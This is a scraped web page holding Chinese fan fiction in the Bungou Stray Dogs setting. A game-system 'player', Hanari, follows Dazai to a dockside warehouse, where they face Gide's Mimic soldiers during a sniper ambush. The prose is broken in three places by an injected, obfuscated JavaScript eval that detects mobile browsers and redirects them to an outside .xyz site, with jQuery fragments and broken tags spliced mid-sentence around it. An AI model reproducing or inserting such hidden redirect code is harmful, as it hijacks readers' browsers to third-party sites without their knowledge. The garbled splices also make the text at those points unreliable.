太宰治居高临下地看着她,嘴角勾起熟悉的戏谑的弧度。 “哎呀,吓到你了?真是抱歉呢。”他语调轻快,其实毫无歉意,目光饶有兴致地捕捉着花理扭曲片刻的脸色和僵硬的动作。 “我只是在想,这么美好的清晨,如果能和你一起从高处欣赏横滨的日出,该多浪漫啊~殉情的话,选择这里似乎也不错?” 花理眯了眯眼,抬起的脖子有些酸痛。她抬头迎向那双深不见底的鸢色眸子,声音努力保持平稳:“太宰大人,早上好。” “任务时间快到了,我还得去尾崎大人办公室报道。”她把“任务”两个字咬得重了一些。 “嗯?不用了哦。” “……” 两人对视片刻,太宰治曲着腿笑眯眯地看她:“因为是和我一起行动嘛,我和红叶姐说了……” “「花理就交给我照顾」哦~?” “真的是「照顾」吗?” “当然是啦。”太宰治装作听不出她的弦外之音,“身为干部,我还是第一次这么在意一个新人呢?” “那真是诚惶诚恐、感激不尽。”花理冷笑一下,说,“所以我们现在出发么?” 太宰治似乎对她的镇定很满意,轻轻笑了一下:“啊啦,说得对,工作最重要。” “花理酱真是可靠的新人呢~”他看似轻巧地从两米多高的廊道边缘一跃而下,动作流畅得像一只优雅的猫科动物,无声地落在花理面前几步远的地方。 “……您难道是武斗派?”花理看了看自己摔下来绝对会骨折的高度,迟疑片刻。 “嗯?不是哦。”太宰治说,“武斗派嘛……是蛞蝓那种?我可不要。” “蛞蝓?” “就是你来的第一天见过的橘发小矮子啦~很像蛞蝓吧?对吧?” “……”花理翻来覆去地把中原中也和蛞蝓进行生物特征比对,得出「根本没有一点像」的结论。 “看来你不赞同呢……真可惜。” “嘛……总之先跟着我吧。”太宰治转过身,背对着花理,语气轻飘飘地,迈开长腿朝着后门方向走去,“旧码头区的早晨,总是特别的清爽呢……希望花理酱会喜欢这份工作的滋味。” 他走在前面,花理只能沉默地跟在他身后几步之遥。清晨空旷的走廊里,只有两人一前一后节奏分明的脚步声回荡。阳光还未完全驱散走廊的阴影,太宰治满是绷带的身影在昏昧的中行走,就像一个移动的苍白墓碑,预示着前方沉坠的黑暗。 花理盯着随着他的步伐飘动的绷带。 “您身上一直有伤呢。” “嗯?嗯……”太宰治没什么干劲地回答,像是调侃又像是某种隐晦的提示。 “来做Mafia的话花理也会变成这样的哦?” “诶……” “满身疤不好看吧?” 走在前面的青年猛的刹车,花理差点撞上他的后辈。她摸了摸鼻子,谴责地抬头看他。 “所以花理要是不想变成这样就要格外小心哦。” 那人只是用分外缱绻的声音这样说道。似乎是在真心实意地为她担心—— “嘛不过就算小心你大概也大概会变成这样啦~”太宰治堪称开朗地笑了两声,又转过身去自顾自地开始往前走了。 花理:“……” 花理捏紧了拳头。 这个人到底在自说自话什么……她怒而竖起中指。 _ 港口的风带着咸腥和未散尽的寒意,吹得花理裹紧了单薄的外套。她跟在太宰治身后,保持着三步左右的距离,走向横滨北部旧城区那片荒废的工业码头区。 太宰治的步伐看似散漫,却目标明确。他避开了主干道,穿梭在堆满废弃集装箱和生锈管道的狭窄巷道里。 花理盯着他的每一步。迅速判断出他对这里出奇的熟悉。 偶尔太宰治会突然停下,侧耳倾听片刻,或者饶有兴致地踢开脚边一颗石子,看着它滚进某个黑暗的缝隙,发出空洞的回响。 “真是完美的藏身之处呢,对吧,花理酱?”他头也不回地说,声音在空旷的废料场里显得有些飘忽,“阳光照不到的地方,总是藏着些有趣的东西。” “……”花理顿了顿,咽下「文艺青年吗」的嘲讽,只是说,“听不懂思密达。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040782|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊,这不是会外语吗。” 花理没有接话,她的注意力被系统地图上标注的“废料仓库”的位置吸引。那是一座巨大的、锈迹斑斑的铁皮建筑,孤零零地矗立在码头边缘,窗户破损,呼呼地漏风。 偶尔飞过的海鸥俯瞰着灰蒙蒙的海面。按照任务要求,她需要靠近那里进行观察。 “目标区域就在前方。”花理低声提醒,试图掌握一点主动权,“太宰大人,我们……?” “嗯哼~”太宰治不置可否,脚步却转了个方向,朝着仓库侧面一个堆叠着集装箱的平台走去。平台离地约两层楼高,视野开阔,刚好能俯瞰整个仓库区域和部分码头。 “这里风景真不错呀。”他轻松地攀爬上去,甚至还有闲心朝下面的花理伸出手。尽管花理并不需要,并且怀疑这只是他恶趣味的表演——比如会突然放手然后看着她摔个狗啃泥笑出眼泪、这才是太宰治吧。 她出言不逊:“太宰大人既然不是武斗派我还是不拉了吧、感觉怪危险的。” “诶……?”太宰治少见地愣了愣,大概花理总是说出完全不在他预想之类的话。 “小花理的话我还是能抱得起来的哦?” “请不要说那种可怕的情况啊……” 花理自己爬了上去,金属平台在脚下发出轻微的吱呀声。底下大概是空心,花理不放心地抬脚试了试稳固性。 海风瞬间猛烈了许多,吹乱了她的头发。从这里看去,仓库的全貌更加清晰,一些不易察觉的细节也落入了眼中:仓库侧门虚掩着。 附近的地面上有几道模糊的车辙印,指向仓库深处;空气中除了铁锈和海腥,似乎还夹杂着一丝若有若无的……烟草味? 「检测到环境残留物成分:硝烟、廉价烟草、汗液。」 「判断:任务目标曾经过」 “太宰大人……”花理又叫了太宰治一声,她希冀地看向真正主导任务的干部太宰治,希望他看破一切好让她早点下班探索地图。 太宰治没有回答,他正双手插在风衣口袋里,悠闲地眺望着远处海平面上初升的太阳,仿佛他们真的只是来看日出的游客。阳光勾勒出他苍白的侧脸,那惬意的姿态与周围荒凉破败的环境格格不入。 花理已经对他的不着边际有了初步抗性,正想再次提醒任务重点,太宰治却突然开口,声音带着一丝奇异的兴奋:“啊,快看,花理酱!来了哦~” 花理顺着他视线的方向望去。 一辆没有悬挂牌照的旧式卡车,正沿着码头边缘一条僻静的小路,无声无息地驶来,最终停在了仓库后方一片高大的废弃集装箱堆的阴影里。车停下后,引擎熄火,车门打开,几个高大的身影迅速而警惕地钻了出来。 他们穿着不合时宜的厚重风衣,衣领高高竖起,帽檐压得很低,遮挡了大半张脸。行动间带着一种刻板的、仿佛受过长期军事训练的纪律性,动作干净利落。沉默中,彼此之间没有任何多余的交流。 其中一人似乎察觉到了什么,猛地抬头,鹰隼般的目光锐利地扫向花理和太宰治所在的平台方向。 “……!” 花理的心脏瞬间提到了嗓子眼,下意识地想要蹲下隐藏。然而身边的太宰治却纹丝不动,甚至微微勾起嘴角,朝着那个方向无声地挥了挥手,仿佛在打招呼。 那人锐利的目光与太宰治的视线在空气中短暂交汇。片刻后,他没有任何表示,只是对同伴做了个手势,一行人如同融入阴影的幽灵,悄无声息地潜入了巨大的仓库内部。 8. 我们是来殉情的啊 “……太宰大人啊。”花理幽幽道,“你没有什么想说的吗?” “……他们发现我们了。”花理压低声音,带着难以置信,太宰治的行为简直是主动暴露,“你一点都不躲的吗。” “大概吧?”太宰治收回手,语气轻描淡写,带着点恶作剧得逞的愉悦,“毕竟我是他们的‘老朋友’了嘛。打个招呼不是很正常吗?” “老朋友?”花理想起审讯室里的那个男人和【见证者】看到的画面,没想到任务目标来得如此快,“他们就是Mimic?” “嗯哼~”太宰治没有否认,他转过身,背靠着平台的栏杆,面向花理,阳光从他身后照过来,在他脸上投下深深的阴影。 “所以上次那个人是太宰干部你抓到的吗……完全想不到。” “好失礼啊~不过花理是难得的对我的战斗力判断准确的新人呢。” “所以……?”是怎么抓到的。 “不是我抓的。是黑蜥蜴。” “……”花理无言地看着他。 “一群找不到归途的流浪野犬,被更凶猛的猎人追着跑,只能躲在这种地方舔舐伤口。可怜,又……危险。”他的目光落在花理脸上,带着探究,“花理酱觉得呢?这些被祖国抛弃的幽灵,值得同情吗?” “同情……?” 花理没有立刻回答。她脑海里闪过【见证者】看到的战场画面,纪德疲惫却坚定的眼神,那句“MORT POUR LA FRANCE”……以及昨天那个在刑架上被折磨得不成人形的男人。 同情?恐惧?还是任务目标带来的警惕?复杂的情绪交织在一起—— “我只是来执行任务的。”她最终选择了最稳妥的回答,斟酌着说,“不过让我回答的话……” “比起这样或许还是死掉更幸福吧?”她反问,“在Mafia的字典里,这算是带着不必要的「同情」吗?” “……啊。”这次轮到太宰治微微睁大眸子,他眨了眨眼。 “大概……像这样呢……原来如此。” 低声的话语还没落入花理耳中就被海风吹散。像是失去了逗弄她的兴致。他站直身体,拍了拍风衣上不存在的灰尘。 “任务……确实该开始了。毕竟,让客人等太久,可不是好主人的待客之道。” “走吧?小花理。” 他迈开步子,竟径直朝着平台通往地面的铁梯走去,目标明确地走向…… ——仓库。 “等等!”花理惊愕地跟上,“就这样进去?”这和任务指令里的“伪装接触”、“严禁擅自行动”、“禁止暴露身份”完全背道而驰! “不然呢?”太宰治在梯子口停下,回头看她,鸢色的眼眸在逆光中深不见底,“红叶姐不是说了吗,情报部的工作,不是坐在办公室里就能完成的。有时候,需要更‘深入’的了解。”他特意加重了“深入”二字,带着一丝危险的戏谑。 “而且,”他补充道,语气轻松得像在讨论午餐吃什么,“花理酱不是很好奇吗?关于那个‘洗涤剂配发泡剂’的效果?说不定里面正好有合适的‘实验场’哦~” 花理:“……” 她为自己辩解:“我一点都不好奇它的效果。” “嗯嗯,毕竟花理酱好奇的是味道嘛。”太宰治笑眯眯地回答,“不过那大概要花理自己尝试才能知道了~” “……”花理敬谢不敏。 她看着太宰治毫不犹豫地走下铁梯,走向那座如同巨大钢铁坟墓的仓库入口,心中警铃大作。 这绝对不是简单的探查任务……太宰治这个疯子,他分明是要主动去挑衅那群极度危险的武装分子! 系统的提示页面带着红光在她面前弹出。 「警告:玩家已偏离初始任务路线。任务目标更新:跟随太宰治行动。」 「风险等级提升:C(中)→B(高)」 「警告:检测到异能波动,判断仓库内存在异能者」 【玩家危险度急剧上升……70%……86%……】 「生存小贴士建议您:不超过角色【太宰治】周边50cm将会提升90%的生存率。」 系统的提示冰冷而急促。花理咬了咬牙,看着太宰治即将消失在仓库入口阴影里的背影,以及系统地图上那代表极度危险的红点区域…… 没有退路了。她深吸一口气,带着一种“大不了就撕卡”的悲壮,快步跟了上去。低着头沉默地朝太宰治迈着小碎步靠过去。 仓库内部的光线骤然昏暗下来,混杂着铁锈、机油、灰尘和一股陈旧腐朽的气息扑面而来。巨大的空间里堆满了各种废弃的机器零件、木箱和帆布。 内部的空气仿佛凝固了,弥漫着无声的压迫感。 太宰治就站在入口处不远,背对着花理,似乎在饶有兴致地打量着什么。 花理刚想靠近他,一股冰冷的寒意猛地攫住了她!尖锐的警告声响起: 「【见证者】被动触发!」 「危险感知——右后方!」 花理甚至来不及思考,身体凭借着系统强制提升的反应速度猛地向左侧扑倒! “砰!!” 一声震耳欲聋的枪响打破了仓库的寂静。子弹带着灼热的气流,几乎是擦着花理刚才站立的位置呼啸而过,狠狠钉入她身后的墙壁,发出“铛”的一声脆响,溅起几点火星! 花理狼狈地摔倒在地,脸颊被粗糙的地面擦得生疼,心脏在胸腔里疯狂擂动,几乎要破膛而出。真实的死亡威胁带来的冰冷恐惧瞬间淹没了她。 “哎呀呀,真是热情的欢迎仪式呢~”太宰治的声音依旧带着笑意,在枪声的回音中显得格外突兀。他甚至没有回头看一眼惊魂未定的花理,只是对着前方堆积如山的废弃零件阴影处说道: “这就是你们对待‘老朋友’的礼节吗?纪德君?” 阴影中,一个高大的身影缓缓走出。他摘下了风衣的兜帽,露出一头略显凌乱的灰白色短发,饱经风霜的脸上皱纹明显,那双眼睛沉淀过太多硝烟与死亡。以至于其显得冰冷、疲惫,却又燃烧着某种固执的火焰。 他手中握着一把老式手枪,枪口还残留着淡淡的硝烟。 正是花理在【见证者】记忆中看到的那个男人——安德烈·纪德。 “太宰治……”纪德的声音低沉沙哑,如同砂纸摩擦,“港口黑手党的走狗……你的出现,就意味着麻烦。” 他的目光如同实质的刀锋,扫过刚刚挣扎着爬起来、脸色惨白、手捂着擦伤脸颊的花理,那眼神里没有惊讶,只有一种洞悉一切的冷漠。 纪德的目光变得更加锐利,如同鹰隼般锁定在花理身上,那沉重的压迫感几乎让她喘不过气。仓库深处,更多的阴影开始蠕动,更多的枪口在昏暗的光线中若隐若现,冰冷的杀意如同实质的潮水,缓缓将平台上的两人包围。 花理只觉得脸颊火辣辣地疼,那擦伤带来的痛楚异常清晰,她抹到了一手血,痛苦地闭了闭眼: 「快把痛觉系数调到0.1……」 「已执行指令。您的最新痛觉传感系数为:0.1」 「描述:被刀扎入心脏对你来说可能就像是心脏因失恋猛烈的跳动一样——薛定谔的疼痛,可能疼也可能不,全凭你心情。但注意别死了。」 花理颤巍巍地爬起来,举着手一路挪到太宰治身后,她谨记系统的教诲,几乎完全贴上面前人的后背。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040783|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“要死了吗。”花理小声,“老大救一下。老大救一下。” 「老大」太宰治巍然不动。 冰冷的黑风衣布料蹭着她的额头,鼻尖萦绕着他身上那挥之不去的消毒水与血腥混合的气息,竟带来一丝诡异的安心感。 太宰治大概是没听见她蚊子哼哼般的求救。他甚至还保持着那副闲适的姿态,对着纪德微笑。 “还有你……”纪德的声音没有任何起伏,他浑浊的视线转向花理,却让花理感到一股寒意从脊椎升起,“昨天,就是你‘看’到了我们?” 花理:“!!” 她之前错怪太宰治了,原来这个游戏世界的怪胎和挂逼是批发的。 花理的瞳孔骤然收缩……他怎么会知道?!审讯室里的事……在场的一共就三个人,为什么会传出去? 是她的档案……这个系统设定的「绵津见花理」……本来就留下了什么痕迹吗……?花理惊疑不定地看向太宰治,想要开口问问他有关自己档案的事情。 “哦呀?”太宰治像是终于被这个话题吸引了注意力,发出一声轻快的疑问。他微微侧头,余光瞥向紧贴着他后背、恨不得把自己缩成一团的花理,鸢色的眼眸里闪烁着毫不掩饰的兴味。 “纪德君的消息真是灵通呢。对小花理这么感兴趣?” 纪德没有理会太宰治的调侃,他那双饱经硝烟、如同灰烬般的眼睛死死盯着花理。 “那种感觉……不会错。”他沙哑的声音带着一种笃定,甚至是一丝奇异的……狂热?“你在‘看’……看到不属于‘现在’的东西。看到‘过去’,或者……‘可能’?” 花理的心脏狂跳起来,虽然知道是游戏,但正是因为这样游戏技能都被点破的惊悚更是让她寒毛卓竖。 这个叫纪德的男人,居然能如此准确地描述出【见证者】的效果?!她下意识地想否认,开口却是:“……老大你快说句话啊。” “啧,真是敏锐得可怕呢。”太宰治的声音带着点虚假的赞叹,他不动声色地将身体稍稍挪动,彻底挡住了纪德看向花理的视线。“不过,对一个可爱的新人穷追猛打,可不是绅士所为哦?纪德君…… “——你的目标,难道不应该是我吗?”他的语调骤然转冷,带着一丝不易察觉的警告。 仓库里的空气仿佛凝固了,无形的弦绷紧到了极致。花理甚至能听到自己血液流动的轰鸣声,她茫然片刻:“诶?是你……” 纪德身后的阴影里,一个身形壮硕、脸上带着狰狞伤疤的士兵猛地举起了枪,黑洞洞的枪口越过纪德,直指花理的眉心,动作快如闪电。 “我草目标是你为什么要带上我!我起到一个什么作用!平衡战绩吗!你要拿我这个人头杠对面的多少杀!” 花理发出尖锐爆鸣,她一边存档一边本能地死死揪住了太宰治的风衣后摆。那冰冷的枪口带来的死亡气息,比刚才的流弹更令人窒息,检查了一下自己最近的自动存档在出发之前,她才稍微安下心来,无力地吐槽: “疯子……为什么……这么多……” 太宰治的嘴角却勾起一个近乎愉悦的弧度。 “别怕,花理酱。”他的声音甚至带着一丝笑意,在这生死关头显得格外诡异,“毕竟……” 他话音未落。 “砰!” 一声截然不同的枪响,清脆而精准,如同死神的点名,骤然从仓库高处的某个窗口破窗袭来。 举枪瞄准花理的壮硕士兵身体猛地一震,眉心瞬间绽放出一朵刺目的血花!他脸上的狰狞凝固了,连哼都没哼一声,高大的身躯便如同沉重的包袱般轰然向后倒去,砸在地上发出一声闷响。 “——我们是来殉情的啊。” 9. 花理,感觉如何? 太宰治那被枪声打断的后半句话,此刻才慢悠悠地飘了出来,带着一种令人毛骨悚然的从容。 花理彻底呆住了,大脑一片空白。 她试图找回自己的声音。 “谁?我吗?我和太宰治殉情?” “嗯。你哦。”双手插兜悠闲的太宰治这样回答。 整个仓库瞬间炸开了锅。Mimic的士兵们反应极快,枪口瞬间调转,朝着高处已经破碎的窗口和通风管道疯狂开火。 子弹如同骤雨般倾泻在铁皮管道上,发出密集而刺耳的“铛铛铛”声响,火花四溅! “隐蔽!是狙击手!”纪德厉声喝道,声音带着暴怒和被突袭的耻辱。他本人则迅速移动到一个巨大的废弃舱体后面作为掩体,冰冷的目光如同毒蛇般扫视着混乱的仓库。 而太宰治,这位引发混乱的罪魁祸首,在枪响的瞬间,动作却快得惊人。花理只觉得腰上一紧,一股大力传来,整个人被他猛地向后一拽,踉跄着跌入一堆高大的、散发着机油味的废弃木箱之后。 “噗噗噗!”几发子弹几乎是擦着木箱边缘射入他们刚才站立的地面。 花理惊魂未定地蜷缩在角落,心脏快要跳出嗓子眼。她看着挡在自己身前的太宰治,他正微微探出头,鸢色的眼睛在昏暗的光线下像猫的竖瞳般,观察着外面的战况,脸上竟然还带着点……无聊? “黑蜥蜴的效率还不错嘛,看来广津老爷子今天心情挺好?”他自言自语般地嘀咕了一句,然后回头看向花理,脸上露出了一个堪称灿烂的笑容,只是那笑容在枪声和硝烟的背景音下显得格外惊悚。 “看,我说了会照顾你的,花理酱。”他用一种哄小孩般的语气说道,“有我在,没意外哦?” 花理:“……?” 她现在只想问候他全家。 照顾……?她看着外面枪林弹雨,子弹在废弃机器和集装箱上扫射出一排排弹孔。总觉得一个不小心就会是自己的死状。 Mimic士兵在纪德的指挥下试图找出并压制狙击点,而太宰治的手下——大概是所谓的“黑蜥蜴”——则在暗处不断还击。 “……你的照顾还蛮吃血条和san值的。”她委婉道。 “哎呀,花理酱真苛刻。”太宰治撇撇嘴,一脸委屈,“你看,我们不是还活着吗?而且位置多好,还能近距离体验横滨特色烟火秀。” 他甚至还煞有介事地点评了一下外面飞过的一颗流弹:“准头真差。” “……下次请你一个人来。” 花理觉得自己的理智正在断裂的边缘。她深吸一口气,试图让自己冷静下来:“……所以你的计划是什么?就在这里等到他们把我们找出来干掉,或者你的人把他们干掉?” “计划?”太宰治歪了歪头,露出一个纯良无害的表情,“我没有那种东西哦?走一步看一步不是更有趣吗?况且……” 他嘴角勾起一个恶劣的弧度,“花理酱不是一直很好奇我会怎么死吗?说不定今天就能满足你的好奇心呢?在这里和花理一起死掉,听起来也不错?” 花理:“……”她回去一定要好好查查这个角色的代码和人设特点到底写了什么。 就在这时,外面激烈的枪声似乎出现了一瞬间的停顿,紧接着传来几声短促的惨叫。似乎黑蜥蜴的突袭取得了效果。 纪德愤怒的声音在掩体后响起:“港口Mafia的白色死神……你的胜利是靠躲在暗处放冷箭赢来的吗?” 太宰治闻言,脸上的笑容加深了。他慢条斯理地整理了一下被花理抓皱的风衣,然后——在花理惊恐的目光中——他竟然从木箱后面大大方方地走了出去! “纪德君,”他摊开手,语气带着一丝挑衅,“躲在暗处放冷箭的,难道不是你们这些见不得光的幽灵吗?我只是……”他顿了顿,目光扫过仓库高处某个方向,那里刚刚又响起一声精准的点射,放倒了一个试图靠近纪德掩体的士兵。“……在清理一些碍眼的垃圾而已。毕竟,打扰别人殉情,可是很不道德的行为呢。” 花理的心再次提到了嗓子眼,她傻眼地看着就这样把自己暴露在Mimic的枪口下的太宰治,顿了顿,最终决定跟着一起走出去。 她默默的举手,并向在场的每一个人严肃申辩道: “和他殉情的人不是我。” 纪德显然也被太宰治的嚣张激怒了,但他没有立刻下令开枪。他那双灰沉的眼睛死死盯着太宰治,又缓缓移向他身后花理苍白又无语的脸。一丝极其复杂的光芒在他眼底闪过——有被愚弄的愤怒,有对花理异能的执着,还有一种……近乎于绝望的疯狂? “你的眼睛……”纪德的声音低沉下去,带着一种穿透灵魂的质询,直指花理,“告诉我……我们最终……找到了吗?” 花理被他看得浑身发毛,下意识地屏住了呼吸。他问的是什么?找到什么?归途?胜利?还是……死亡? 太宰治也收起了那副玩世不恭的笑容,眼神变得幽深莫测。仓库里的枪声暂时停歇了,只剩下硝烟弥漫的寂静,以及三道目光在空中无声地交锋。 . “没看到啊。”花理说,“虽然你们可能不信但其实我近视的。” “……”纪德没有回答,只是从喉咙深处发出一声冰冷的嗤笑,那笑声里裹挟着自嘲、杀意和疲惫。他依旧死死锁定着花理,仿佛要将她整个人剥开,挖出那个能看穿“可能性”的秘密。 花理感觉自己像被蛇盯上,冷汗几乎要浸湿后背。 她希望太宰治来解一下围,但看着他,最终却是气馁地自己张开了嘴。 “……”但她脱口而出的话在嘴里绕了一圈,反而带上了一种硬邦邦的、近乎挑衅的味道,“……我们要就这样站在这里直到下班吗?” 仓库里弥漫的杀意,因为这个过于社畜感的问题,出现了一瞬间极其诡异的凝滞。 这话说出来,连花理自己都绷了一下。她努力维持住表情:“我也不是要打的意思……” 太宰治的肩膀似乎几不可查地抖动了一下,像是在憋笑。而纪德身后的阴影里,传来Mimic士兵压抑不住的、粗重的抽气声,随即被更加无言的气氛吞没。 纪德脸上的肌肉微微抽动了一下。那凝固着战/争的伤痛与绝望的眼底,第一次掠过一丝清晰可辨的荒谬感。他似乎有些被激怒: “看来你不打算好好享受你生前最后的安宁了。”他说。 太宰治举手插到对峙的两人中央:“好啦?不要对我可爱的部下说这种话哦?” “我是尾崎红叶干部的部下吧?” “诶?花理不想来我这边吗?我倒是很欢迎哦。” 纪德像是被两人旁若无人的斗嘴脱口秀刺激到,手枪抬起:“你们……” 就在这微妙的对峙间隙—— “嗡…嗡…”一阵细微的、高频的震动音突兀地在寂静中响起。 太宰治慢悠悠地从他的风衣内袋里掏出一个老旧的翻盖手机,随意地扫了一眼屏幕,然后对着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040784|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪德晃了晃,脸上又挂起了那抹看不出真心的笑意。 “真不好意思,纪德君,看来我们的‘晨间友好交流’要提前结束了呢。”他语气轻快地说着,手指却干脆利落地合上了手机盖,发出“啪嗒”一声轻响。 花理紧张地盯着他的一举一动。 太宰治侧过身,目光看似随意地扫过仓库深处阴影中那些蠢蠢欲动的枪口,最后落在脸色莫名的纪德身上,唇角的笑意加深,眼底却晦暗无光。 “我的人刚发来消息,有一队穿着不怎么合身西装的‘上班族’,正朝着这个方向进行非常……积极的街区巡逻。速度很快,大概五分钟吧?”他耸耸肩,“那群家伙的鼻子一向很灵,最擅长打搅别人的私密谈话,而且脾气比小矮子还要暴躁。 “他们要是看到这么多有活力的外国朋友在港口附近搞团建……哇,场面一定很有趣。” “……?”花理一时没听明白。 「属性天赋:「智者的发问」被动开启!」 「已在剧情对话时,将关键词为您高亮标注。」 「西装」「巡逻」「鼻子很灵」 「解析答案:军警。」 军警! 花理瞬间明白了。这是三权分立的战场,更是异能特务科掌控下的横滨。Mimic这群前军人,虽然装备精良、行动有素,但一旦被军警的特种部队或者异能特务科的人马堵在这里,后果仍然是mimic现在承担不起的。 这就是太宰治口中比“加班”更麻烦的存在。花理思考片刻,系统弹出了有关异能特务科的新情报。 「异能特务科」 「描述:不为人所知的秘密政府部门。隶属于内务省,负责管理日本境内的异能者。是夏目漱石提出的“三刻构想”中的“白昼”部分。*」 「相关词条解锁:种田火山头、夏目漱石。」 「主线解锁度提高。」 纪德灰败的眼睛微微眯起。 他们现在还没有能力正面与这个国家的暴力机器抗衡。他沉默了一秒,冰冷而疲惫的视线在花理身上最后停留了一瞬——那眼神复杂依旧,充满探究的渴求,但更多的是被现实逼迫的、不得不暂时蛰伏的野性杀机。 “我们会再见面的,‘见证者’。”纪德的声音沙哑,像是在砂纸上磨过,“在那之前……保护好你这双特别的眼睛。” 他的目光随即转向太宰治,那眼神锐利如刀,仿佛要将眼前这个总是带着虚假笑容的黑手党干部千刀万剐: “港口黑手党……这份‘照顾’,我安德烈·纪德铭记在心。” “不用客气,纪德君。”太宰治笑眯眯地摆手,仿佛在送别一位老朋友,“毕竟为远道而来的客人操心落脚点,是港口城市居民应尽的义务嘛。” 纪德没有再说话,只冷冷地一挥手。如同接收到无声指令的幽灵,隐藏在仓库各处阴影中的Mimic士兵们,迅速而有序地开始后撤。他们以纪德为中心,构筑起临时的防御阵型,脚步声迅速消失在仓库深处,仿佛从未出现过。只留下几具同伴冰冷的尸体和满地的弹壳,证明刚才的险恶对峙并非幻觉。 花理紧绷的神经直到最后一缕压迫感消失才敢松懈下来,空气中浓烈的硝烟味刺激着鼻腔,提醒她刚才的生死一线。她呼出一口气。 “那么……”太宰治转过身,笑容灿烂地看向惊魂未定的花理,“今天的‘友好参观活动’就愉快地结束了?花理酱感觉如何?是不是比坐在办公室里看文件有趣多了?” 10. 下班,锄大地 花理面无表情地看着他,脸颊上火辣辣的擦伤在痛觉削弱后已经感受不到,但液体凝固在皮肤上的不适感并没有跟着消失。 她默默地从口袋里掏出一包纸巾,抽出一张按在伤口上:“托您的福,工伤了。” 她顿了顿,幽幽补充道,“工伤津贴按规定是三倍吗?太宰大人。” 太宰治愣了一下,随即夸张地笑了起来,肩膀都在轻轻抖动: “哈哈哈哈……花理……” “在这种时候还能想到报销……真是,相当具有‘职业操守’啊。”他走过来,微微弯腰,凑近了花理还在渗血的脸颊,鸢色的眼眸里带着玩味的探究,“不过……” 他伸出手指,似乎想碰碰那道擦伤,但在花理几乎要炸毛的注视下,又收了回去,只是摩挲着自己的下巴:“这么漂亮的脸蛋留下伤疤就太可惜了。这样吧,我帮花理酱再加一条「因破相而导致的心里损伤」费?保证让花理酱恢复如初~” “真的吗?”花理眼睛一亮,“你竟然……您真是个大好人!” “前面的我也听到了哦。” “……”花理挎下脸应了一声,她摆摆手表示自己的无所谓。她现在只想赶紧离开这个鬼地方。 “那现在可以回去了吗?”她环顾着满地狼藉和死尸的仓库,非常诚实的踏出两步想向仓库大门走去。 “说得对。”太宰治站直身体,率先迈开步子朝着仓库破损的门口走去,语气又恢复了那种轻飘飘的调子,“新人的第一次出外勤任务就如此精彩刺激,真是可喜可贺。我们回去吧,让那些扫兴的‘上班族’过来收拾残局~” 花理赶紧跟上,几乎是小跑着才能追上他悠然的步伐。走出仓库大门,扑面而来的潮湿海风带着自由的凉意,让她沉重的心情也松快了一丝。 回到人来人往、秩序井然的港口黑手党总部大楼附近,花理才感觉自己真正回过神来。她脚步不由得慢了下来,劫后余生的疲惫感一点点涌了上来。 太宰治也在台阶上停下了脚步,回头看向她。 “哦对了。”他像是忽然想起什么,保持着思考的表情眨了眨眼。 “今天真是辛苦你了,花理酱。” 花理麻木地看着他:“谢谢。您也是。” “——那么,”太宰治微笑着说,声音在午后的阳光下显得分外清爽动听,仿佛刚刚经历的一场血腥对峙从未发生, “明天的早班也请继续努力。我可是和红叶姐说了,要亲自‘照顾’你熟悉外勤的所有流程哦?~” 他笑眯眯地加了一句,成功看到花理瞬间僵硬的脸上露出一丝绝望的表情。 “九点,还是这个大厅。别迟到哦,花理酱。” “啊对了。当然下午你还是要继续上班~不过不归我管就是了。” _ 太宰治笑眯眯地说完那句“下午继续上班”,朝花理随意地摆了摆手,便脚步轻快地朝着电梯方向走去,那悠闲的背影仿佛刚才拉着花理在死亡边缘跳舞的不是他。 花理盯着他的背影消失在拐角,直到确认真的看不见了,才彻底松懈下来,肩膀垮塌,再次竖起中指。 脸颊上的擦伤在减弱痛感后倒不太疼了,但干涸的血迹黏在皮肤上的不适感挥之不去。她拖着沉重的步子,先去了一趟医务室。 值班医生是个严肃的中年男人,看到她的伤皱了皱眉,简单清创后贴了块纱布,又塞给她一小管消炎药膏。 “注意别沾水。”医生言简意赅,“这点小伤以后不需要来医务室。” 花理:“……”差点忘了这里是Mafia的世界,这种伤确实是上不了台面。 她迎着值班医生对自己专业性质疑的目光,灰溜溜的离开了医务室。 处理完这点工伤,回到分配给她的那个小格子间已经过了午饭点。尾崎红叶大人没来找她,大概是今天没有其他工作了? 花理抱着点微弱的希望,可屁股还没坐热,一个小文员就抱着一叠厚厚的文件放在了她桌上。 “这是昨天审讯记录的归档整理,还有仓库区域近三个月的物资流动核对表,红叶大人要求今天下班前完成初筛。”文员的声音平板无波。 花理看着那两摞能把她埋起来的文件山,感觉比在仓库里面对枪口还要绝望。这就是黑手党……没有工伤修养时间,只有无限压榨的资本家本质…… 